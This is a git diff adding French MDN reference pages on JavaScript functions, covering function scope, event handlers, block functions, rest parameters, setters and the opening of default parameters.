+ <li>Une fonction définie par une expression de fonction hérite de la portée courante. La fonction forme donc une fermeture. En revanche, les fonctions définies par le constructeur <code>Function</code> n'héritent que de la portée globale (portée héritée par toutes les fonctions).</li>
+ <li>Les fonctions définies par les expressions et les déclarations de fonctions ne sont analysées (parsées) qu'une seule fois. Celles définies grâce au constructeur <code>Function</code> ne le sont pas. Cela signifie que la chaîne de caractère représentant le corps de la fonction doit être analysée à chaque fois qu'elle est évaluée. Bien qu'une expression de fonction crée obligatoirement une fermeture, le corps de la fonction n'est pas parsé à nouveau. Les expressions de fonctions sont donc plus rapides que « <code>new Function(...)</code> ». Il faut donc éviter le constructeur <code>Function</code> autant que possible.<br>
+  Il faut cependant noter que les expressions et les déclarations imbriquées au sein d'une chaîne de caractère pour un constructeur <code>Function</code> ne sont analysées qu'une seule fois. On aura l'exemple suivant :
+  <pre class="brush: js">var toto = (new Function("var truc = \'TOTO !\';\nreturn(function() {\n\tconsole.log(truc);\n});"))();
+toto(); //La partie « function() {\n\tconsole.log(truc);\n} » de la chaîne de caractères n'est pas analysée à nouveau.</pre>
+ </li>
+</ul>
+
+<p>Une déclaration de fonction peut très facilement (et souvent involontairement) être transformée en une expression de fonction. Une déclaration de fonction cesse d'en être une lorsque :</p>
+
+<ul>
+ <li>elle fait partie d'une expression</li>
+ <li>ou elle n'est plus un « élément source » de la fonction ou du script. Un « élément source » est une instruction non-imbriquée du script ou d'un corps de fonction.
+  <pre class="brush: js">var x = 0;                 // élément source
+if (x === 0) {              // élément source
+   x = 10;                 // pas un élément source
+   function titi() {}      // pas un élément source
+}
+function toto() {          // élément source
+   var y = 20;             // élément source
+   function truc() {}      // élément source
+   while (y === 10) {       // élément source
+      function machin() {} // pas un élément source
+      y++;                 // pas un élément source
+   }
+}
+</pre>
+ </li>
+</ul>
+
+<h3 id="Exemples">Exemples :</h3>
+
+<ul>
+ <li>
+  <pre class="brush: js">// déclaration de fonction
+function toto() {}
+
+// expression de fonction
+(function truc() {})
+
+// expression de fonction
+var x = function bonjour() {}</pre>
+ </li>
+ <li>
+  <pre class="brush: js">if (x) {
+   // expression de fonction
+   function monde() {}
+}
+</pre>
+ </li>
+ <li>
+  <pre class="brush: js">// déclaration de fonction
+function a() {
+   // déclaration de fonction
+   function b() {}
+   if (0) {
+      // expression de fonction
+      function c() {}
+   }
+}
+</pre>
+ </li>
+</ul>
+
+<h2 id="Définir_une_fonction_de_façon_conditionnelle">Définir une fonction de façon conditionnelle</h2>
+
+<p>Il est possible de définir des fonctions de manière conditionnelle en utilisant soit : //function statements// (une extension autorisée par le standard <a href="https://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMA-262 Edition 3</a>) soit le constructeur <code>Function</code>. Il faut noter que de telles instructions ne sont plus autorisées dans le standard <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=609832">ES5 strict</a>. Il faut également savoir que cela ne fonctionne pas de manière homogène sur les différents navigateurs. Il est donc déconseillé d'utiliser cette fonctionnalité.</p>
+
+<p>Dans le script qui suit, la fonction <code>zero</code> n'est jamais définie et ne peut donc être appelée car le test « <code>if (0)</code> » est toujours faux :</p>
+
+<pre class="brush: js">if (0) {
+   function zero() {
+      console.log("C'est zero.");
+   }
+}
+</pre>
+
+<p>Si le script est changé et que la condition devient « <code>if (1)</code> », la fonction <code>zero</code> sera alors définie.</p>
+
+<p>Bien que cette fonction ressemble à une déclaration de fonction, il s'agit en fait d'une expression (ou instruction) de fonction, car celle-ci est imbriquée au sein d'une autre instruction. (Consulter le paragraphe précédent pour une explication à ce sujet).</p>
+
+<div class="note">
+<p><strong>Note :</strong> À la différence de <a href="/fr/docs/SpiderMonkey">SpiderMonkey</a>, certains moteurs JavaScript traîtent incorrectement les expressions de fonction avec un nom comme des définitions de fonction. Cela conduirait à la définition de la fonction <code>zero</code> et ce même avec la condition <code>if</code> valant faux. Une façon plus sûre de définir des fonctions de manière conditionnelle est de définir la fonction et de l'assigner à une variable :</p>
+
+<pre class="brush: js">if (0) {
+   var zero = function() {
+      console.log("C'est zero");
+   }
+}
+</pre>
+</div>
+
+<h2 id="Les_fonctions_en_tant_que_gestionnaires_dévénements">Les fonctions en tant que gestionnaires d'événements</h2>
+
+<p>En JavaScript, les gestionnaires d'événements <a href="/fr/docs/DOM">DOM</a> (<em>event handlers</em> en anglais) sont des fonctions (différentes des objets contenant une méthode <code>handleEvent</code> dans d'autres langages de liaison avec le DOM -<em>binding languages</em> en anglais). Les fontions ont l'objet <a href="/fr/docs/DOM/event">event</a> comme seul et unique paramètre. Comme tous les autres paramètres, si l'objet événement, n'a pas besoin d'être utilisé, il peut être absent de la liste des paramètres formels.</p>
+
+<p>Les objets d'un document HTML susceptibles de recevoir des événements peuvent être par exemple : <code>window</code> (objets<code> Window</code>, y compris les objets frames), <code>document</code> (les objets <code>HTMLDocument</code>), et les éléments (les objets <code>Element</code>). Au sein du <a href="https://www.w3.org/TR/DOM-Level-2-HTML/">DOM HTML</a>, les objets recevant des événements possède des propriétés gestionnaires d'événements. Ces propriétés sont les noms des événements en minuscules préfixés par « on » (par exemple <code>onfocus</code>). Une autre façon, plus fiable, d'ajouter des auditeurs d'événements, est offert par les <a href="https://www.w3.org/TR/DOM-Level-2-Events/">événements DOM de niveau 2</a>.</p>
+
+<p>Note : Les événements font partie de la logique DOM et non de celle de JavaScript. (JavaScript n'est qu'un langage permettant de manipuler le DOM.)</p>
+
+<p>L'exemple suivant assigne une fonction au gestionnaire de l'événement « focus ».</p>
+
+<pre class="brush: js">window.onfocus = function() {
+   document.body.style.backgroundColor = 'white';
+};
+</pre>
+
+<p>Si une fonction est assignée à une variable, il est possible d'assigner la variable à un gestionnaire d'événement. Le fragment de code qui suit assigne une fonction à la variable <code>setBGColor</code>.</p>
+
+<pre class="brush: js">var setBGColor = new Function("document.body.style.backgroundColor = 'white';");
+</pre>
+
+<p>Il est alors possible d'utiliser cette variable pour assigner une fonction à un gestionnaire d'événement. Cela peut se faire de plusieurs manières, en voici deux décrites ici :</p>
+
+<ol>
+ <li>écrire dans les propriétés de l'évément DOM HTML
+  <pre class="brush: js">document.form1.colorButton.onclick = setBGColor;
+</pre>
+ </li>
+ <li>l'attribut de l'événement HTML
+  <pre class="brush: html">&lt;input type="button"
+   value="Changer la couleur de fond"
+   onclick="setBGColor();"/&gt;
+</pre>
+
+  <p>Un gestionnaire d'événement défini de cette manière sera une fonction, nommée selon l'attribut, encadré du code spécifique nécessaire. C'est pourquoi les parenthèses sont ici nécessaires (<code>setBGColor()</code> et non pas <code>setBGColor</code>). Cela est équivalent à :</p>
+
+  <pre class="brush: js">document.form1.colorButton.onclick = function onclick(event) {
+   setBGColor();
+};
+</pre>
+
+  <p>Il faut noter la façon dont l'objet événement est passé à la fonction en tant que paramètre <code>event</code>. Cela permet au code d'utiliser l'objet <code>Event</code> :</p>
+
+  <pre class="brush: html">&lt;input ...
+    onclick="console.log(event.target.tagName);"/&gt;
+</pre>
+ </li>
+</ol>
+
+<p>Tout comme les autres propriétés faisant référence à une fonction, le gestionnaire d'événement peut agir come une méthode et <code>this</code> ferait alors référence à l'élément contenant le gestionnaire d'événement. Dans l'exemple suivant, la fonction à laquelle <code>onfocus</code> fait référence est appelée avec <code>this</code> qui a la valeur <code>window</code>.</p>
+
+<pre class="brush: js">window.onfocus();
+</pre>
+
+<p>Une erreur faite souvent lorsque l'on commence à utiliser JavaScript est d'ajouter des parenthèses et/ou des paramètres à la fin de la variable. Cela revient à appeler le gestionnaire d'événement lorsqu'on l'assigne. Le fait d'ajouter ces parenthèses assignera la valeur de retour du gestionnaire d'événement. Cette valeur sera souvent<code> undefined </code>dans ces cas alors que l'on aurait souhaité obtenir le gestionnaire d'événement.</p>
+
+<pre class="brush: js">document.form1.button1.onclick = setBGColor();
+</pre>
+
+<p>Afin de passer des paramètres à un gestionnaire d'événements, le gestionnaire doit être enveloppé dans une autre fonction, comme dans l'exemple suivant :</p>
+
+<pre class="brush: js">document.form1.button1.onclick = function() {
+   setBGColor('une valeur');
+};
+</pre>
+
+<h2 id="Les_fonctions_de_bloc">Les fonctions de bloc</h2>
+
+<p>En <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>, à partir d'ES2015 (ES6), la portée des fonctions définies dans un bloc est limitée à ce bloc. Avant ES2015, il était interdit d'utiliser les fonctions de bloc en mode strict..</p>
+
+<pre class="brush: js">'use strict';
+
+function f() {
+  return 1;
+}
+
+{
+  function f() {
+    return 2;
+  }
+}
+
+f() === 1; // true
+
+// f() === 2 en mode non-strict
+</pre>
+
+<h3 id="Les_fonctions_de_bloc_dans_du_code_non-strict">Les fonctions de bloc dans du code non-strict</h3>
+
+<p>Non.</p>
+
+<p>Dans du code non-strict, les déclarations de fonctions placées dans des blocs peuvent se comporter de façon étrange :</p>
+
+<pre class="brush: js">if (onDevraitDéfinirZéro) {
+   function zéro() { // DANGER: risque de compatibilité
+      console.log("Voici zéro.");
+   }
+}
+</pre>
+
+<p>ES2015 indique que si <code>onDevraitDéfinirZéro</code> vaut <code>false</code>, <code>zéro</code> ne devrait jamais être défini car le bloc n'est jamais exécuté. En revanche, c'est une nouveauté liée à cette version du standard, non spécifiée auparavant. Certains navigateurs définissent <code>zéro</code> que le bloc soit exécuté ou non.</p>
+
+<p>En <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>, tous les navigateurs qui prennent en charge ES2015 gère cela de la même façon : <code>zéro</code> est uniquement défini si <code>onDevraitDéfinirZéro</code> vaut <code>true</code> et uniquement dans la portée du bloc induit par <code>if</code>.</p>
+
+<p>Une méthode plus sûre est d'utiliser des expressions de fonction :</p>
+
+<pre class="brush: js">var zéro;
+if (0) {
+   zéro = function() {
+      console.log("Voici zéro.");
+   };
+}
+</pre>
+
+<h2 id="Exemples_2">Exemples</h2>
+
+<h3 id="Renvoyer_un_nombre_formaté">Renvoyer un nombre formaté</h3>
+
+<p>La fonction qui suit renvoie une chaîne de caractères contenant la représentation formatée d'un nombre avec un certain nombre de zéros préfixant le nombre.</p>
+
+<pre class="brush: js">// Cette fonction renvoie une chaîne de caractères complétée par un préfixe composé de zéros
+function padZeros(num, totalLen) {
+   var numStr = num.toString();             // On initialise la valeur à renvoyer en chaîne de caractères
+   var numZeros = totalLen - numStr.length; // On calcule le nombre de zéros
+   for (var i = 1; i &lt;= numZeros; i++) {
+      numStr = "0" + numStr;
+   }
+   return numStr;
+}
+</pre>
+
+<p>Les instructions qui suivent utilisent cette fonction</p>
+
+<pre class="brush: js">var resultat;
+resultat = padZeros(42,4); // renvoie "0042"
+resultat = padZeros(42,2); // renvoie "42"
+resultat = padZeros(5,4);  // renvoie "0005"
+</pre>
+
+<h3 id="Déterminer_si_une_fonction_existe">Déterminer si une fonction existe</h3>
+
+<p>Il est possible de déterminer si oui ou non une fonction existe en utilisant l'opérateur <code>typeof</code>. Dans l'exemple qui suit, on teste pour savoir si l'objet<code> window</code> possède une propriété appelé <code>noFunc</code> qui serait une fonction. Si c'est le cas, elle sera utilisée, sinon on fera autre chose.</p>
+
+<pre class="brush: js"> if ('function' === typeof window.noFunc) {
+   // utilisation de noFunc()
+ } else {
+   // faire autre chose
+ }
+</pre>
+
+<p>Il est à noter que, dans le test <code>if</code>, on utilise une référence à <code>noFunc</code> - il n'y a pas de parenthèses après le nom de la fonction, la fonction n'est donc pas appelée.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-13', 'Function Definition')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Nouveautés : fonctions fléchées, générateurs, paramètres par défaut, paramètres du reste</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#', 'function*')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.functions")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'instruction {{jsxref("Instructions/function", "function")}}</li>
+ <li>L'expression {{jsxref("Opérateurs/L_opérateur_function", "function")}}</li>
+ <li>L'instruction {{jsxref("Instructions/function*", "function*")}}</li>
+ <li>L'expression {{jsxref("Opérateurs/function*", "function*")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{jsxref("Fonctions/Fonctions_fléchées", "Les fonctions fléchées")}}</li>
+ <li>{{jsxref("Fonctions/Valeurs_par_défaut_des_arguments", "Les paramètres par défaut","",1)}}</li>
+ <li>{{jsxref("Fonctions/paramètres_du_reste", "Les paramètres du reste","",1)}}</li>
+ <li>L'objet {{jsxref("Fonctions/arguments", "arguments")}}</li>
+ <li>{{jsxref("Fonctions/get", "getter")}}</li>
+ <li>{{jsxref("Fonctions/set", "setter")}}</li>
+ <li>{{jsxref("Fonctions/Définition_de_méthode", "Les définitions de méthodes","",1)}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions">Fonctions et portée des fonctions</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/fonctions/paramètres_du_reste/index.html b/files/fr/web/javascript/reference/fonctions/paramètres_du_reste/index.html
new file mode 100644
index 0000000000..6ac181fe51
--- /dev/null
+++ b/files/fr/web/javascript/reference/fonctions/paramètres_du_reste/index.html
@@ -0,0 +1,219 @@
+---
+title: Paramètres du reste (Rest parameters)
+slug: Web/JavaScript/Reference/Fonctions/paramètres_du_reste
+tags:
+  - ECMAScript 2015
+  - Functions
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Functions/rest_parameters
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>Cette syntaxe permet de représenter un nombre indéfini d'arguments sous forme d'un tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-restparameters.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">function f(a, b, ...lesArguments) {
+  // ...
+}
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Si le dernier paramètre nommé fourni à la fonction est préfixé de <code>...</code> (trois points), il devient un tableau dont les éléments entre <code>0</code> (inclus) et <code>lesArguments.length</code> (exclus) sont fournis comme autres arguments à la fonction.</p>
+
+<pre class="brush: js">function maFonction(a, b, ...plusDArguments) {
+  console.log("a", a);
+  console.log("b", b);
+  console.log("plusDArguments", plusDArguments);
+}
+
+maFonction("un", "deux", "trois", "quatre", "cinq");
+// affichera ceci dans la console :
+// a, "un"
+// b, "deux"
+// plusDArguments, ["trois", "quatre", "cinq"]</pre>
+
+<h3 id="Les_différences_entre_les_paramètres_du_reste_et_l'objet_arguments">Les différences entre les paramètres du reste et l'objet <code>arguments</code></h3>
+
+<p>Il y a trois principales différences entre les paramètres du reste et l'objet {{jsxref("Fonctions/arguments","arguments")}} :</p>
+
+<ul>
+ <li>les paramètres du reste sont uniquement ceux qui ne possèdent pas de noms à part entière (autrement dit ceux qui ne sont pas formellement définis dans l'expression de fonction), l'objet <code>arguments</code> contient chaque argument passé à la fonction</li>
+ <li>l'objet <code>arguments</code> n'est pas, à strictement parler, un tableau. Le paramètre représentant les arguments restant est une instance d'{{jsxref("Array","Array")}} à laquelle on peut appliquer directement des méthodes comme {{jsxref("Array/sort","sort")}}, {{jsxref("Array/map","map")}}, {{jsxref("Array/forEach","forEach")}} ou {{jsxref("Array/pop","pop")}}</li>
+ <li>l'objet <code>arguments</code> possède des fonctionnalités spécifiques (comme, par exemple, la propriété <code>callee</code>)</li>
+</ul>
+
+<h3 id="Convertir_arguments_en_un_tableau">Convertir <code>arguments</code> en un tableau</h3>
+
+<p>Ces paramètres ont été introduits afin de réduire le code passe-partout souvent induit par les arguments.</p>
+
+<pre class="brush: js">// Avant les paramètres du reste, on observait souvent ce style de code :
+function f(a, b){
+  var args = Array.prototype.slice.call(arguments, f.length);
+  // ou encore
+  var args = [].slice.call(arguments);
+  // ou encore
+  var args = Array.from(arguments);
+
+  // et on pouvait alors écrire
+  var premier = args.shift(); // OK
+  // mais pas
+  var premier = arguments.shift(); // erreur car arguments n'est pas un tableau
+}
+
+// ce qui est l'équivalent de
+function f(...args) {
+  var tabNormal = args;
+  var premier = tabNormal.shift();
+}
+</pre>
+
+<h3 id="La_décomposition_sur_les_paramètres_du_reste">La décomposition sur les paramètres du reste</h3>
+
+<p>On peut également décomposer les paramètres du reste en variables distinctes :</p>
+
+<pre class="brush: js">function f(...[a, b, c]) {
+  return a + b + c;
+}
+
+f(1);          // NaN (b et c valent undefined)
+f(1, 2, 3);    // 6
+f(1, 2, 3, 4); // 6, le dernier paramètre n'est pas décomposé
+</pre>
+
+<p>Vous pouvez également accéder aux éléments des paramètres du reste :</p>
+
+<pre class="brush: js">function fun1(...lesArguments) {
+    console.log("valeur", lesArguments[0][0]);
+}
+
+fun1([5, 2], [5, 4]); // 5
+fun1([8, 2]); // 8
+fun1([9, 6, 7]); // 9</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>S'il n'y a qu'un seul argument qui est décomposé par la syntaxe, la valeur sera toujours un tableau :</p>
+
+<pre class="brush: js">function maFonction(a, b, ...autres);
+  console.log(a);
+  console.log(b);
+  console.log(autres);
+}
+
+maFonction("un", "deux", "trois");
+// affichera ceci dans la console
+// "un"
+// "deux"
+// ["trois"]
+</pre>
+
+<p>De même, s'il n'y a pas suffisamment d'arguments, ce sera un tableau vide :</p>
+
+<pre class="brush: js">function maFonction(a, b, ...autres);
+  console.log(a);
+  console.log(b);
+  console.log(autres);
+}
+
+maFonction("un", "deux");
+// affichera ceci dans la console
+// "un"
+// "deux"
+// []</pre>
+
+<p><code>lesArguments</code> est un tableau et dispose donc d'une propriété <code>length</code> permettant de compter ses éléments :</p>
+
+<pre class="brush: js">function fun1(...lesArguments) {
+  console.log(lesArguments.length);
+}
+
+fun1();  // 0
+fun1(5); // 1
+fun1(5, 6, 7); // 3
+</pre>
+
+<p>Dans l'exemple qui suit, on utilise le paramètre Rest pour collecter les arguments après le premier pour les multiplier par le premier :</p>
+
+<pre class="brush: js">function multiplier(facteur, ...lesArguments) {
+  return lesArguments.map(function (element) {
+    return facteur * element;
+  });
+}
+
+var arr = multiplier(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]
+</pre>
+
+<p>L'exemple qui suit illustre comment on peut utiliser des méthodes de <code>Array</code> sur le paramètre Rest mais pas sur l'objet <code>arguments</code> :</p>
+
+<pre class="brush: js">function trierParamRest(...lesArguments) {
+  var argumentsTriés = lesArguments.sort();
+  return argumentsTriés;
+}
+
+console.log(trierParamRest(5,3,7,1)); // shows 1,3,5,7
+
+function trierArguments() {
+  var argumentsTriés = arguments.sort();
+  return argumentsTriés; // cela ne sera jamais appelé
+}
+
+// renvoie une exception TypeError: arguments.sort n'est pas une function
+console.log(trierArguments(5,3,7,1));
+</pre>
+
+<p>Pour utiliser les méthodes propres aux instances d'<code>Array</code> sur l'objet <code>arguments</code>, il est nécessaire de le convertir.</p>
+
+<pre class="brush: js">function trierAguments() {
+  var args = Array.from(arguments);
+  var argumentsTriés = args.sort();
+  return argumentsTriés;
+}
+console.log(trierArguments(5, 3, 7, 1)); // [1, 3, 5, 7]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Function Definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.functions.rest_parameters")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'objet {{jsxref("Fonctions/arguments","arguments")}}</li>
+ <li>{{jsxref("Array","Array")}}</li>
+ <li>{{jsxref("Fonctions","Les fonctions et leurs portées","",1)}}</li>
+ <li>{{jsxref("Opérateurs/Syntaxe_décomposition","L'opérateur de décomposition","",1)}}</li>
+ <li><a class="external" href="https://wiki.ecmascript.org/doku.php?id=harmony:rest_parameters">Proposition originale sur ecmascript.org</a> (en anglais)</li>
+ <li><a class="external" href="https://javascriptweblog.wordpress.com/2011/01/18/javascripts-arguments-object-and-beyond/">JavaScript arguments object and beyond</a> (article en anglais)</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/fonctions/set/index.html b/files/fr/web/javascript/reference/fonctions/set/index.html
new file mode 100644
index 0000000000..4cabb36149
--- /dev/null
+++ b/files/fr/web/javascript/reference/fonctions/set/index.html
@@ -0,0 +1,145 @@
+---
+title: L'opérateur set
+slug: Web/JavaScript/Reference/Fonctions/set
+tags:
+  - ECMAScript 5
+  - Functions
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Functions/set
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>La syntaxe <strong><code>set</code></strong> permet de lier une propriété d'un objet à une fonction qui sera appelée à chaque tentative de modification de cette propriété.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-setter.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{set <em>prop</em>(<em>val</em>) { . . .}}
+{set [expression](<em>val</em>) { . . .}}</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Le nom de la propriété à lier à la fonction.</dd>
+</dl>
+
+<dl>
+ <dt><code>val</code></dt>
+ <dd>Un alias pour la variable qui contient la valeur qu'on souhaiterait affecter à <code>prop.</code></dd>
+ <dt><code>expression</code></dt>
+ <dd>Avec ECMAScript 2015, il est également possible d'utiliser des expressions pour utiliser un nom de propriété calculé à lier à la fonction.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>En JavaScript, un mutateur (ou <em>setter</em> en anglais) peut être utiisé afin d'exécuter une fonction à chaque fois qu'on souhaite modifier la valeur d'une propriété donnée. La plupart du temps, les mutateurs sont utilisés avec les accesseurs (<em>getters</em>) afin de créer une pseudo-propriété. Il n'est pas possible d'avoir à la fois un mutateur et une valeur donnée pour une même propriété.</p>
+
+<p>On notera que <code>set</code> :</p>
+
+<div>
+<ul>
+ <li>peut avoir un identifiant qui est soit un nombre soit une chaîne de caractères</li>
+ <li>doit avoir exactement un paramètre (voir l'article « <a class="external" href="https://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/" rel="external nofollow">Incompatible <abbr title="ECMAScript 5th edition">ES5</abbr> change: literal getter and setter functions must now have exactly zero or one arguments</a> » (en anglais) pour plus d'informations)</li>
+ <li>ne doit pas apparaître dans un littéral objet qui possède un autre <code>set</code> ou une autre propriété avec la même clé :<br>
+  ( <code>{ set x(v) { }, set x(v) { } }</code> et <code>{ x: ..., set x(v) { } }</code> seront interdits)</li>
+</ul>
+</div>
+
+<p>On peut retirer un mutateur d'un objet grâce à l'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définir_un_mutateur_sur_de_nouveaux_objets_avec_un_littéral_objet">Définir un mutateur sur de nouveaux objets avec un littéral objet</h3>
+
+<p>Dans l'exemple qui suit, on définit une pseudo-propriété <code>courant</code> pour un objet <code>o</code> qui, lorsqu'elle recevra une valeur, mettra à jour la propriété <code>log</code> avec la valeur reçue :</p>
+
+<pre class="brush: js">var o = {
+  set courant (str) {
+    this.log[this.log.length] = str;
+  },
+  log: []
+}
+</pre>
+
+<p>On notera que <code>courant</code> n'est pas défini. Toute tentative pour y accéder renverra <code>undefined</code>.</p>
+
+<h3 id="Supprimer_un_mutateur_grâce_à_l'opérateur_delete">Supprimer un mutateur grâce à l'opérateur <code>delete</code></h3>
+
+<p>Si on souhaite retirer un mutateur, on peut simplement utiliser l'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}} :</p>
+
+<pre class="brush: js">delete o.courant;
+</pre>
+
+<h3 id="Définir_un_mutateur_sur_un_objet_existant_avec_defineProperty">Définir un mutateur sur un objet existant avec <code>defineProperty</code></h3>
+
+<p>On peut également ajouter un mutateur sur un objet d'ores et déjà créé. Pour cela, on utilisera la méthode {{jsxref("Object.defineProperty()")}}.</p>
+
+<pre class="brush: js">var o = { a:0 };
+
+Object.defineProperty(o, "b", { set: function (x) { this.a = x / 2; } });
+
+o.b = 10; // On utilise le setter, qui affecte 10 / 2 (5) à 'a'
+console.log(o.a) // 5</pre>
+
+<h3 id="Utiliser_un_nom_de_propriété_calculé">Utiliser un nom de propriété calculé</h3>
+
+<pre class="brush: js">var expr = "toto";
+
+var obj = {
+  bidule: "truc",
+  set [expr](v) { this.bidule = v; }
+};
+
+console.log(obj.bidule); // "truc"
+obj.toto = "bidule";      // le mutateur est utilisé
+console.log(obj.bidule); // "bidule"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Ajout des noms de propriétés calculés</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.functions.set")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Fonctions/get","get")}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_delete","delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#D.C3.A9finir_des_getters_et_setters">Définir des accesseurs et des mutateurs</a>, dans le Guide JavaScript</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/fonctions/valeurs_par_défaut_des_arguments/index.html b/files/fr/web/javascript/reference/fonctions/valeurs_par_défaut_des_arguments/index.html
new file mode 100644
index 0000000000..99d9869f9c
--- /dev/null
+++ b/files/fr/web/javascript/reference/fonctions/valeurs_par_défaut_des_arguments/index.html
@@ -0,0 +1,212 @@
+---
+title: Valeurs par défaut des arguments
+slug: Web/JavaScript/Reference/Fonctions/Valeurs_par_défaut_des_arguments
+tags:
+  - ECMAScript 2015
+  - Fonctions
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Functions/Default_parameters
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>Cette syntaxe permet d'initialiser des paramètres lors de l'appel de la fonction si aucune valeur n'est passée ou si c'est la valeur {{jsxref("undefined")}} qui est passée.</p>
+
